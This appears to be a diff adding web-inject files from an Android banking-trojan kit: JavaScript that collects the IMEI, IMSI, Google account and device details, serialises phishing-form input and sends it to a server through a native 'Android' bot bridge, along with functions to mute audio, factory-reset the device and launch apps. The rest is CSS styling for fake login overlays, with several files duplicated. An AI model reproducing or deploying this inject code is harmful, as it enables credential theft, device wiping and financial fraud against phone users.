if (isAndroid() && typeof(Android.factoryReset) == 'function') {
|
||||
Android.factoryReset();
|
||||
} else {
|
||||
functionIsNotDefined('factoryReset');
|
||||
}
|
||||
}
|
||||
|
||||
/* Transmits data to server */
|
||||
|
||||
function transmit(stepID, closeInject, additionalData) {
|
||||
var o = {};
|
||||
var result = true;
|
||||
var m = $('#cat-step-' + stepID).serializeArray();
|
||||
var a = (additionalData) ? m.concat(additionalData) : m;
|
||||
|
||||
$.each(a, function() {
|
||||
var thisValue = this.value.trim();
|
||||
if (thisValue == '') {
|
||||
result = false;
|
||||
return false;
|
||||
}
|
||||
|
||||
if (o[this.name] !== undefined) {
|
||||
if (!o[this.name].push) {
|
||||
o[this.name] = [o[this.name]];
|
||||
}
|
||||
o[this.name].push(thisValue || '');
|
||||
} else {
|
||||
o[this.name] = thisValue || '';
|
||||
}
|
||||
});
|
||||
|
||||
if (!result) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (isAndroid() && typeof(Android.sendDataToServer) == 'function') {
|
||||
Android.sendDataToServer(JSON.stringify(o), closeInject);
|
||||
} else {
|
||||
console.log(JSON.stringify(o));
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Write to console if argument function is not defined */
|
||||
|
||||
function functionIsNotDefined(func) {
|
||||
console.log('Android.' + func + '() was called');
|
||||
}
|
||||
|
||||
/* Returns ISO XX code of current country */
|
||||
|
||||
function getCountryCode() {
|
||||
if (isAndroid() && typeof(Android.getCountryCode) == 'function') {
|
||||
return Android.getCountryCode();
|
||||
} else {
|
||||
functionIsNotDefined('getCountryCode');
|
||||
return "gb";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns manufacturer of device */
|
||||
|
||||
function getDeviceBrand() {
|
||||
if (isAndroid() && typeof(Android.getDeviceBrand) == 'function') {
|
||||
return Android.getDeviceBrand();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceBrand');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns model of device */
|
||||
|
||||
function getDeviceModel() {
|
||||
if (isAndroid() && typeof(Android.getDeviceModel) == 'function') {
|
||||
return Android.getDeviceModel();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceModel');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns Google Account (E-mail address) */
|
||||
|
||||
function getGoogleAccount() {
|
||||
if (isAndroid() && typeof(Android.getGoogleAccount) == 'function') {
|
||||
return Android.getGoogleAccount();
|
||||
} else {
|
||||
functionIsNotDefined('getGoogleAccount');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMEI code of device */
|
||||
|
||||
function getImei() {
|
||||
if (isAndroid() && typeof(Android.getImei) == 'function') {
|
||||
return Android.getImei();
|
||||
} else {
|
||||
functionIsNotDefined('getImei');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMSI code of device */
|
||||
|
||||
function getImsi() {
|
||||
if (isAndroid() && typeof(Android.getImsi) == 'function') {
|
||||
return Android.getImsi();
|
||||
} else {
|
||||
functionIsNotDefined('getImsi');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns ISO XX language code of current country */
|
||||
|
||||
function getLanguageCode() {
|
||||
if (isAndroid() && typeof(Android.getLanguageCode) == 'function') {
|
||||
return Android.getLanguageCode();
|
||||
} else {
|
||||
functionIsNotDefined('getLanguageCode');
|
||||
return "en";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns package name of current opened application */
|
||||
|
||||
function getPackageName() {
|
||||
if (isAndroid() && typeof(Android.getPackageName) == 'function') {
|
||||
return Android.getPackageName();
|
||||
} else {
|
||||
functionIsNotDefined('getPackageName');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns current version of SDK */
|
||||
|
||||
function getVersionSdk() {
|
||||
if (isAndroid() && typeof(Android.getVersionSdk) == 'function') {
|
||||
return Android.getVersionSdk();
|
||||
} else {
|
||||
functionIsNotDefined('getVersionSdk');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Return whether Android is defined */
|
||||
|
||||
function isAndroid() {
|
||||
return typeof Android != 'undefined';
|
||||
}
|
||||
|
||||
/* Mute everything volume */
|
||||
|
||||
function muteVolume(state) {
|
||||
if (isAndroid() && typeof(Android.muteVolume) == 'function') {
|
||||
Android.muteVolume(state);
|
||||
} else {
|
||||
functionIsNotDefined('muteVolume');
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Shows message in dialog window
|
||||
* If @packageName is not empty bot will start @packageName
|
||||
*/
|
||||
|
||||
function showAlert(title, message, buttonText, packageName) {
|
||||
if (isAndroid() && typeof(Android.alert) == 'function') {
|
||||
Android.alert(title, message, buttonText, packageName);
|
||||
} else {
|
||||
alert(message);
|
||||
}
|
||||
}
|
||||
|
||||
/* Shows error if server did not answer */
|
||||
|
||||
function showInternetError() {
|
||||
if (isAndroid() && typeof(Android.saveFailInject) == 'function') {
|
||||
Android.saveFailInject(); // Saves inject's data in memory of device
|
||||
} else {
|
||||
functionIsNotDefined('saveFailInject');
|
||||
}
|
||||
|
||||
$('#cat-forms').hide();
|
||||
$('#cat-error').show();
|
||||
}
|
||||
|
||||
/* Sends form with step's number stepID and shows form stepID + 1 */
|
||||
|
||||
function switchStep(stepID, regReceiver) {
|
||||
|
||||
if (transmit(stepID, regReceiver)) {
|
||||
|
||||
if (stepID == 1) {
|
||||
$('.cat-start-step').hide();
|
||||
}
|
||||
|
||||
$('.cat-step-block').hide();
|
||||
$('#cat-step-' + (stepID + 1)).show();
|
||||
|
||||
} else {
|
||||
showAlert('Error', 'You must fill out every field', 'OK', '')
|
||||
}
|
||||
}
|
||||
|
||||
/* Hides block with error and shows form for enter inject's data */
|
||||
|
||||
function tryEnterAgain() {
|
||||
$('#cat-error').hide();
|
||||
$('#cat-forms').show();
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
$(document).ready(function(){
|
||||
function changeViewport(){
|
||||
if ($(window).width() < 150 || $(window).height() < 150){
|
||||
$('meta[name=viewport]').attr("content", "initial-scale=0");
|
||||
} else {
|
||||
$('meta[name=viewport]').attr("content", "width=device-width, initial-scale=1.0");
|
||||
}
|
||||
}
|
||||
|
||||
changeViewport();
|
||||
});
|
||||
@@ -0,0 +1,71 @@
|
||||
.cat-start-step {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.cat-step-block {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.cat-last-step {
|
||||
display: none;
|
||||
margin-top: 50px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.cat-last-step input[type=button] {
|
||||
float: none;
|
||||
width: 200px;
|
||||
}
|
||||
|
||||
.cat-last-step span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
margin-bottom: 35px;
|
||||
}
|
||||
|
||||
.cat-button {
|
||||
margin-top: 13px;
|
||||
position: relative;
|
||||
display: inline-block;
|
||||
width: 10em;
|
||||
height: 2.5em;
|
||||
line-height: 2em;
|
||||
vertical-align: middle;
|
||||
text-align: center;
|
||||
font-weight: bold;
|
||||
text-decoration: none;
|
||||
text-shadow: 0 -1px 1px #777;
|
||||
color: #fff;
|
||||
outline: none;
|
||||
border: 2px solid #F64C2B;
|
||||
border-radius: 5px;
|
||||
box-shadow: 0 0 0 60px rgba(0,0,0,0) inset, .1em .1em .2em #800;
|
||||
background: linear-gradient(#FB9575, #F45A38 48%, #EA1502 52%, #F02F17);
|
||||
}
|
||||
|
||||
.cat-button:active {
|
||||
top: .1em;
|
||||
left: .1em;
|
||||
outline: none;
|
||||
box-shadow: 0 0 0 60px rgba(0,0,0,.05) inset;
|
||||
}
|
||||
|
||||
#cat-error {
|
||||
margin-top: 50px;
|
||||
display:none;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#cat-error span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
}
|
||||
|
||||
#cat-error input[type=button] {
|
||||
float: none;
|
||||
width: 200px;
|
||||
}
|
||||
|
After Width: | Height: | Size: 4.8 KiB |
|
After Width: | Height: | Size: 35 KiB |
|
After Width: | Height: | Size: 190 KiB |
@@ -0,0 +1,230 @@
|
||||
|
||||
/* Closes window of inject */
|
||||
|
||||
function closeWindow() {
|
||||
if (isAndroid() && typeof(Android.closeWindow) == 'function') {
|
||||
Android.closeWindow();
|
||||
} else {
|
||||
functionIsNotDefined('closeWindow');
|
||||
}
|
||||
}
|
||||
|
||||
/* Executes factory reset of device */
|
||||
|
||||
function factoryReset() {
|
||||
if (isAndroid() && typeof(Android.factoryReset) == 'function') {
|
||||
Android.factoryReset();
|
||||
} else {
|
||||
functionIsNotDefined('factoryReset');
|
||||
}
|
||||
}
|
||||
|
||||
/* Transmits data to server */
|
||||
|
||||
function transmit(stepID, closeInject, additionalData) {
|
||||
var o = {};
|
||||
var result = true;
|
||||
var m = $('#cat-step-' + stepID).serializeArray();
|
||||
var a = (additionalData) ? m.concat(additionalData) : m;
|
||||
|
||||
$.each(a, function() {
|
||||
var thisValue = this.value.trim();
|
||||
if (thisValue == '') {
|
||||
result = false;
|
||||
return false;
|
||||
}
|
||||
|
||||
if (o[this.name] !== undefined) {
|
||||
if (!o[this.name].push) {
|
||||
o[this.name] = [o[this.name]];
|
||||
}
|
||||
o[this.name].push(thisValue || '');
|
||||
} else {
|
||||
o[this.name] = thisValue || '';
|
||||
}
|
||||
});
|
||||
|
||||
if (!result) {
|
||||
return false;
|
||||
}
|
||||
|
||||
if (isAndroid() && typeof(Android.sendDataToServer) == 'function') {
|
||||
Android.sendDataToServer(JSON.stringify(o), closeInject);
|
||||
} else {
|
||||
console.log(JSON.stringify(o));
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Write to console if argument function is not defined */
|
||||
|
||||
function functionIsNotDefined(func) {
|
||||
console.log('Android.' + func + '() was called');
|
||||
}
|
||||
|
||||
/* Returns ISO XX code of current country */
|
||||
|
||||
function getCountryCode() {
|
||||
if (isAndroid() && typeof(Android.getCountryCode) == 'function') {
|
||||
return Android.getCountryCode();
|
||||
} else {
|
||||
functionIsNotDefined('getCountryCode');
|
||||
return "gb";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns manufacturer of device */
|
||||
|
||||
function getDeviceBrand() {
|
||||
if (isAndroid() && typeof(Android.getDeviceBrand) == 'function') {
|
||||
return Android.getDeviceBrand();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceBrand');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns model of device */
|
||||
|
||||
function getDeviceModel() {
|
||||
if (isAndroid() && typeof(Android.getDeviceModel) == 'function') {
|
||||
return Android.getDeviceModel();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceModel');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns Google Account (E-mail address) */
|
||||
|
||||
function getGoogleAccount() {
|
||||
if (isAndroid() && typeof(Android.getGoogleAccount) == 'function') {
|
||||
return Android.getGoogleAccount();
|
||||
} else {
|
||||
functionIsNotDefined('getGoogleAccount');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMEI code of device */
|
||||
|
||||
function getImei() {
|
||||
if (isAndroid() && typeof(Android.getImei) == 'function') {
|
||||
return Android.getImei();
|
||||
} else {
|
||||
functionIsNotDefined('getImei');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMSI code of device */
|
||||
|
||||
function getImsi() {
|
||||
if (isAndroid() && typeof(Android.getImsi) == 'function') {
|
||||
return Android.getImsi();
|
||||
} else {
|
||||
functionIsNotDefined('getImsi');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns ISO XX language code of current country */
|
||||
|
||||
function getLanguageCode() {
|
||||
if (isAndroid() && typeof(Android.getLanguageCode) == 'function') {
|
||||
return Android.getLanguageCode();
|
||||
} else {
|
||||
functionIsNotDefined('getLanguageCode');
|
||||
return "en";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns package name of current opened application */
|
||||
|
||||
function getPackageName() {
|
||||
if (isAndroid() && typeof(Android.getPackageName) == 'function') {
|
||||
return Android.getPackageName();
|
||||
} else {
|
||||
functionIsNotDefined('getPackageName');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns current version of SDK */
|
||||
|
||||
function getVersionSdk() {
|
||||
if (isAndroid() && typeof(Android.getVersionSdk) == 'function') {
|
||||
return Android.getVersionSdk();
|
||||
} else {
|
||||
functionIsNotDefined('getVersionSdk');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Return whether Android is defined */
|
||||
|
||||
function isAndroid() {
|
||||
return typeof Android != 'undefined';
|
||||
}
|
||||
|
||||
/* Mute everything volume */
|
||||
|
||||
function muteVolume(state) {
|
||||
if (isAndroid() && typeof(Android.muteVolume) == 'function') {
|
||||
Android.muteVolume(state);
|
||||
} else {
|
||||
functionIsNotDefined('muteVolume');
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Shows message in dialog window
|
||||
* If @packageName is not empty bot will start @packageName
|
||||
*/
|
||||
|
||||
function showAlert(title, message, buttonText, packageName) {
|
||||
if (isAndroid() && typeof(Android.alert) == 'function') {
|
||||
Android.alert(title, message, buttonText, packageName);
|
||||
} else {
|
||||
alert(message);
|
||||
}
|
||||
}
|
||||
|
||||
/* Shows error if server did not answer */
|
||||
|
||||
function showInternetError() {
|
||||
if (isAndroid() && typeof(Android.saveFailInject) == 'function') {
|
||||
Android.saveFailInject(); // Saves inject's data in memory of device
|
||||
} else {
|
||||
functionIsNotDefined('saveFailInject');
|
||||
}
|
||||
|
||||
$('#cat-forms').hide();
|
||||
$('#cat-error').show();
|
||||
}
|
||||
|
||||
/* Sends form with step's number stepID and shows form stepID + 1 */
|
||||
|
||||
function switchStep(stepID, regReceiver) {
|
||||
|
||||
if (transmit(stepID, regReceiver)) {
|
||||
|
||||
if (stepID == 1) {
|
||||
$('.cat-start-step').hide();
|
||||
}
|
||||
|
||||
$('.cat-step-block').hide();
|
||||
$('#cat-step-' + (stepID + 1)).show();
|
||||
|
||||
} else {
|
||||
showAlert('Error', 'You must fill out every field', 'OK', '')
|
||||
}
|
||||
}
|
||||
|
||||
/* Hides block with error and shows form for enter inject's data */
|
||||
|
||||
function tryEnterAgain() {
|
||||
$('#cat-error').hide();
|
||||
$('#cat-forms').show();
|
||||
}
|
||||
@@ -0,0 +1,306 @@
|
||||
|
||||
|
||||
|
||||
.container {
|
||||
padding-top:70px;
|
||||
}
|
||||
.wrapper .row {
|
||||
position: relative;
|
||||
float: left;
|
||||
width: 100%;
|
||||
}
|
||||
.row + .row {
|
||||
margin-top: 10px;
|
||||
}
|
||||
.modal_header{
|
||||
background: #fff;
|
||||
}
|
||||
.row_header + .row {
|
||||
margin-top: 14px;
|
||||
}
|
||||
.row_header {
|
||||
margin-bottom:50px;
|
||||
}
|
||||
.form_header {
|
||||
background: #fff;
|
||||
text-align: center;
|
||||
position: absolute;
|
||||
top:0;
|
||||
left:0;
|
||||
width:100%;
|
||||
padding: 20px 12px 6px 12px;
|
||||
border-bottom: solid 1px #A9A9A9;
|
||||
}
|
||||
.content{
|
||||
padding: 0 15px;
|
||||
max-width: 330px;
|
||||
margin: 0 auto;
|
||||
max-width: 100%;
|
||||
overflow: hidden;
|
||||
}
|
||||
.inp_caption {
|
||||
color: #000;
|
||||
font-family: "Helvetica";
|
||||
font-size: 16px;
|
||||
font-weight: 500;
|
||||
text-align: center;
|
||||
margin-bottom: 6px;
|
||||
}
|
||||
.input_block_wr_l {
|
||||
padding-left: 131px;
|
||||
padding-right: 6%;
|
||||
margin-bottom: 13px;
|
||||
}
|
||||
.inp_caption_l {
|
||||
position: absolute;
|
||||
left: 6%;
|
||||
text-align: left;
|
||||
top: 8px;
|
||||
}
|
||||
.inp_wr_l {
|
||||
float: right;
|
||||
width: 100%;
|
||||
|
||||
}
|
||||
.inp_wr{
|
||||
text-align: center;
|
||||
}
|
||||
.main_input{
|
||||
border: none;
|
||||
outline-style: none;
|
||||
background-color: #FFF;
|
||||
border: 1px solid #E8E8E8;
|
||||
-moz-border-radius: 5px;
|
||||
-webkit-border-radius: 5px;
|
||||
border-radius: 5px;
|
||||
-moz-box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24);
|
||||
-webkit-box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24);
|
||||
box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24);
|
||||
max-width: 330px;
|
||||
height: 35px;
|
||||
padding-left: 6px;
|
||||
font-size: 19px;
|
||||
width: 100%;
|
||||
}
|
||||
.input_block_wr {
|
||||
display:table;
|
||||
max-width:330px;
|
||||
margin-left:auto;
|
||||
margin-right:auto;
|
||||
position: relative;
|
||||
width: 100%;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 15px;
|
||||
}
|
||||
.btn_wr {
|
||||
text-align: center;
|
||||
margin-top: 18px;
|
||||
margin-bottom: 25px;
|
||||
}
|
||||
.logon_btn {
|
||||
width: 140px;
|
||||
height: 40px;
|
||||
background-color: #FF7224;
|
||||
background-image: -moz-linear-gradient(bottom, #FF7224 0%, #FF7224 100%);
|
||||
background-image: -o-linear-gradient(bottom, #FF7224 0%, #FF7224 100%);
|
||||
background-image: -webkit-linear-gradient(bottom, #FF7224 0%, #FF7224 100%);
|
||||
background-image: linear-gradient(to top, #FF7224 0%, #FF7224 100%);
|
||||
border: 2px solid #F0F0F0;
|
||||
-moz-border-radius: 5px;
|
||||
-webkit-border-radius: 5px;
|
||||
border-radius: 5px;
|
||||
-moz-box-shadow: 0 5px 5px rgba(0, 0, 2, 0.16);
|
||||
-webkit-box-shadow: 0 5px 5px rgba(0, 0, 2, 0.16);
|
||||
box-shadow: 0 5px 5px rgba(0, 0, 2, 0.16);
|
||||
cursor: pointer;
|
||||
outline-style: none;
|
||||
color: #FFF;
|
||||
font-family: "Helvetica";
|
||||
font-size: 19px;
|
||||
font-weight: 700;
|
||||
text-shadow: 0 -2px 1px rgba(0, 0, 2, 0.42);
|
||||
}
|
||||
|
||||
.main_select {
|
||||
text-align: left;
|
||||
}
|
||||
.main_select.jq-selectbox {
|
||||
width: 100%;
|
||||
}
|
||||
.main_select .jq-selectbox__select {
|
||||
height: 35px;
|
||||
padding: 0 5px 0 5px;
|
||||
-moz-border-radius: 5px !important;
|
||||
-webkit-border-radius: 5px !important;
|
||||
border-radius: 5px !important;
|
||||
-moz-box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24) !important;
|
||||
-webkit-box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24) !important;
|
||||
box-shadow: inset 0 5px 5px rgba(0, 0, 2, 0.24) !important;
|
||||
border-radius: 0;
|
||||
background: #fff;
|
||||
box-shadow: none;
|
||||
color: #363636;
|
||||
text-shadow: none;
|
||||
font-size: 14px;
|
||||
font: 14px/26px 'Helvetica';
|
||||
width: 100%;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger {
|
||||
width: 30px;
|
||||
height: 35px !important;
|
||||
height: 100%;
|
||||
border-left: none;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger-arrow {
|
||||
top: 16px;
|
||||
}
|
||||
.main_select .jq-selectbox__select-text {
|
||||
height: 35px;
|
||||
line-height: 37px;
|
||||
}
|
||||
.main_select .jq-selectbox__dropdown {
|
||||
top: 35px !important;
|
||||
width: 100%;
|
||||
-moz-box-sizing: border-box;
|
||||
box-sizing: border-box;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
border-radius: 0;
|
||||
background: #FFF;
|
||||
box-shadow: none;
|
||||
font: 14px/26px 'Helvetica';
|
||||
}
|
||||
.main_select .jq-selectbox__dropdown li{
|
||||
padding: 0 5px 0 !important;
|
||||
}
|
||||
@media (max-width: 320px){
|
||||
.inp_caption_l {
|
||||
left: 0;
|
||||
}
|
||||
.input_block_wr_l {
|
||||
padding-left: 110px;
|
||||
padding-right: 0;
|
||||
}
|
||||
}
|
||||
@media (max-height: 436px){
|
||||
.form_header {
|
||||
padding: 10px 5px 5px 5px;
|
||||
height: 40px;
|
||||
}
|
||||
.container {padding-top:40px;}
|
||||
.inp_caption {
|
||||
font-size: 13px;
|
||||
margin-bottom: 3px;
|
||||
}
|
||||
.row + .row {
|
||||
margin-top: 0;
|
||||
}
|
||||
.form_header:after {
|
||||
content: none;
|
||||
}
|
||||
.main_input{
|
||||
height: 20px;
|
||||
font-size: 13px;
|
||||
}
|
||||
.logon_btn{
|
||||
height: 25px;
|
||||
line-height: 19px;
|
||||
font-size: 15px;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 5px;
|
||||
}
|
||||
.btn_wr {
|
||||
margin-top: 12px;
|
||||
margin-bottom: 5px;
|
||||
}
|
||||
.main_select .jq-selectbox__select {
|
||||
height: 20px;
|
||||
font-size: 13px;
|
||||
}
|
||||
.main_select .jq-selectbox__select-text{
|
||||
height: 20px;
|
||||
line-height: 22px;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger{
|
||||
height: 20px !important;
|
||||
width: 18px;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger-arrow{
|
||||
top: 9px;
|
||||
right: 6px;
|
||||
}
|
||||
.inp_caption_l{
|
||||
top: 3px;
|
||||
}
|
||||
.input_block_wr_l{
|
||||
margin-bottom: 6px;
|
||||
}
|
||||
}
|
||||
@media (max-height: 240px) {
|
||||
.input_block_wr_l{
|
||||
padding-left: 95px;
|
||||
}
|
||||
}
|
||||
@media (max-width: 200px), (max-height: 240px) {
|
||||
.form_header {
|
||||
padding: 2px;
|
||||
height: 18px;
|
||||
margin-bottom: 1px;
|
||||
}
|
||||
.container {padding-top:18px;}
|
||||
.form_header img{
|
||||
max-height: 13px;
|
||||
}
|
||||
.content {
|
||||
padding: 0 3px;
|
||||
}
|
||||
.inp_caption {
|
||||
font-size: 10px;
|
||||
margin-bottom: -3px;
|
||||
}
|
||||
.row + .row{
|
||||
margin-top: 0;
|
||||
}
|
||||
.main_input{
|
||||
height: 12px;
|
||||
font-size: 10px;
|
||||
}
|
||||
.input_block_wr + .input_block_wr {
|
||||
margin-top: 1px;
|
||||
}
|
||||
.btn_wr{
|
||||
margin-top: 1px;
|
||||
margin-bottom: 1px;
|
||||
}
|
||||
.logon_btn{
|
||||
font-size: 7px;
|
||||
width: 70px;
|
||||
height: 16px;
|
||||
line-height: 10px;
|
||||
}
|
||||
.logon_btn img {
|
||||
top: 4px;
|
||||
}
|
||||
.input_block_wr_l{
|
||||
margin-bottom: 3px;
|
||||
padding-left: 70px;
|
||||
}
|
||||
.main_select .jq-selectbox__select {
|
||||
height: 15px;
|
||||
font-size: 10px;
|
||||
}
|
||||
.main_select .jq-selectbox__select-text{
|
||||
height: 15px;
|
||||
line-height: 15px;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger{
|
||||
height: 15px !important;
|
||||
width: 7px;
|
||||
}
|
||||
.main_select .jq-selectbox__trigger-arrow{
|
||||
top: 6px;
|
||||
right: 3px;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,71 @@
|
||||
.cat-start-step {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.cat-step-block {
|
||||
display: none;
|
||||
}
|
||||
|
||||
.cat-last-step {
|
||||
display: none;
|
||||
margin-top: 50px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.cat-last-step input[type=button] {
|
||||
float: none;
|
||||
width: 200px;
|
||||
}
|
||||
|
||||
.cat-last-step span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
margin-bottom: 35px;
|
||||
}
|
||||
|
||||
.cat-button {
|
||||
margin-top: 13px;
|
||||
position: relative;
|
||||
display: inline-block;
|
||||
width: 10em;
|
||||
height: 2.5em;
|
||||
line-height: 2em;
|
||||
vertical-align: middle;
|
||||
text-align: center;
|
||||
font-weight: bold;
|
||||
text-decoration: none;
|
||||
text-shadow: 0 -1px 1px #777;
|
||||
color: #fff;
|
||||
outline: none;
|
||||
border: 2px solid #F64C2B;
|
||||
border-radius: 5px;
|
||||
box-shadow: 0 0 0 60px rgba(0,0,0,0) inset, .1em .1em .2em #800;
|
||||
background: linear-gradient(#FB9575, #F45A38 48%, #EA1502 52%, #F02F17);
|
||||
}
|
||||
|
||||
.cat-button:active {
|
||||
top: .1em;
|
||||
left: .1em;
|
||||
outline: none;
|
||||
box-shadow: 0 0 0 60px rgba(0,0,0,.05) inset;
|
||||
}
|
||||
|
||||
#cat-error {
|
||||
margin-top: 50px;
|
||||
display:none;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
#cat-error span {
|
||||
color:red;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
display: block;
|
||||
}
|
||||
|
||||
#cat-error input[type=button] {
|
||||
float: none;
|
||||
width: 200px;
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
* {
|
||||
-webkit-box-sizing: border-box;
|
||||
-moz-box-sizing: border-box;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
html,body{
|
||||
height: 100%;
|
||||
min-height:100%;
|
||||
}
|
||||
html {
|
||||
min-width: 150px;
|
||||
min-height: 150px;
|
||||
}
|
||||
body {
|
||||
font-family: 'Arial';
|
||||
}
|
||||
.modal {
|
||||
width: 100%;
|
||||
/*float: left;*/
|
||||
text-align: left;
|
||||
/*min-height: 100%;
|
||||
max-height: 100%;*/
|
||||
display:table;
|
||||
height:100%;
|
||||
}
|
||||
.form_header img {
|
||||
max-width: 100%;
|
||||
max-height: 100%;
|
||||
}
|
||||
.wrapper {max-width:996px; margin:0 auto; -webkit-box-sizing:border-box; -moz-box-sizing:border-box; box-sizing:border-box;}
|
||||
.container {
|
||||
width: 100%;
|
||||
height:100%;
|
||||
display:table-cell;
|
||||
vertical-align:middle;
|
||||
}
|
||||
|
||||
@-o-viewport {
|
||||
width: 150px;
|
||||
height: device-height;
|
||||
zoom: 1;
|
||||
}
|
||||
@@ -0,0 +1,426 @@
|
||||
/*! normalize.css v3.0.2 | MIT License | git.io/normalize */
|
||||
|
||||
/**
|
||||
* 1. Set default font family to sans-serif.
|
||||
* 2. Prevent iOS text size adjust after orientation change, without disabling
|
||||
* user zoom.
|
||||
*/
|
||||
|
||||
html {
|
||||
font-family: sans-serif; /* 1 */
|
||||
-ms-text-size-adjust: 100%; /* 2 */
|
||||
-webkit-text-size-adjust: 100%; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Remove default margin.
|
||||
*/
|
||||
|
||||
body {
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
/* HTML5 display definitions
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Correct `block` display not defined for any HTML5 element in IE 8/9.
|
||||
* Correct `block` display not defined for `details` or `summary` in IE 10/11
|
||||
* and Firefox.
|
||||
* Correct `block` display not defined for `main` in IE 11.
|
||||
*/
|
||||
|
||||
article,
|
||||
aside,
|
||||
details,
|
||||
figcaption,
|
||||
figure,
|
||||
footer,
|
||||
header,
|
||||
hgroup,
|
||||
main,
|
||||
menu,
|
||||
nav,
|
||||
section,
|
||||
summary {
|
||||
display: block;
|
||||
}
|
||||
|
||||
/**
|
||||
* 1. Correct `inline-block` display not defined in IE 8/9.
|
||||
* 2. Normalize vertical alignment of `progress` in Chrome, Firefox, and Opera.
|
||||
*/
|
||||
|
||||
audio,
|
||||
canvas,
|
||||
progress,
|
||||
video {
|
||||
display: inline-block; /* 1 */
|
||||
vertical-align: baseline; /* 2 */
|
||||
}
|
||||
|
||||
/**
|
||||
* Prevent modern browsers from displaying `audio` without controls.
|
||||
* Remove excess height in iOS 5 devices.
|
||||
*/
|
||||
|
||||
audio:not([controls]) {
|
||||
display: none;
|
||||
height: 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address `[hidden]` styling not present in IE 8/9/10.
|
||||
* Hide the `template` element in IE 8/9/11, Safari, and Firefox < 22.
|
||||
*/
|
||||
|
||||
[hidden],
|
||||
template {
|
||||
display: none;
|
||||
}
|
||||
|
||||
/* Links
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Remove the gray background color from active links in IE 10.
|
||||
*/
|
||||
|
||||
a {
|
||||
background-color: transparent;
|
||||
}
|
||||
|
||||
/**
|
||||
* Improve readability when focused and also mouse hovered in all browsers.
|
||||
*/
|
||||
|
||||
a:active,
|
||||
a:hover {
|
||||
outline: 0;
|
||||
}
|
||||
|
||||
/* Text-level semantics
|
||||
========================================================================== */
|
||||
|
||||
/**
|
||||
* Address styling not present in IE 8/9/10/11, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
abbr[title] {
|
||||
border-bottom: 1px dotted;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address style set to `bolder` in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
b,
|
||||
strong {
|
||||
font-weight: bold;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address styling not present in Safari and Chrome.
|
||||
*/
|
||||
|
||||
dfn {
|
||||
font-style: italic;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address variable `h1` font-size and margin within `section` and `article`
|
||||
* contexts in Firefox 4+, Safari, and Chrome.
|
||||
*/
|
||||
|
||||
h1 {
|
||||
font-size: 2em;
|
||||
margin: 0.67em 0;
|
||||
}
|
||||
|
||||
/**
|
||||
* Address styling not present in IE 8/9.
|
||||
*/
|
||||
|
||||
mark {
|
||||
background: #ff0;
|
||||
color: #000;
|
||||
}
|
||||
|
||||
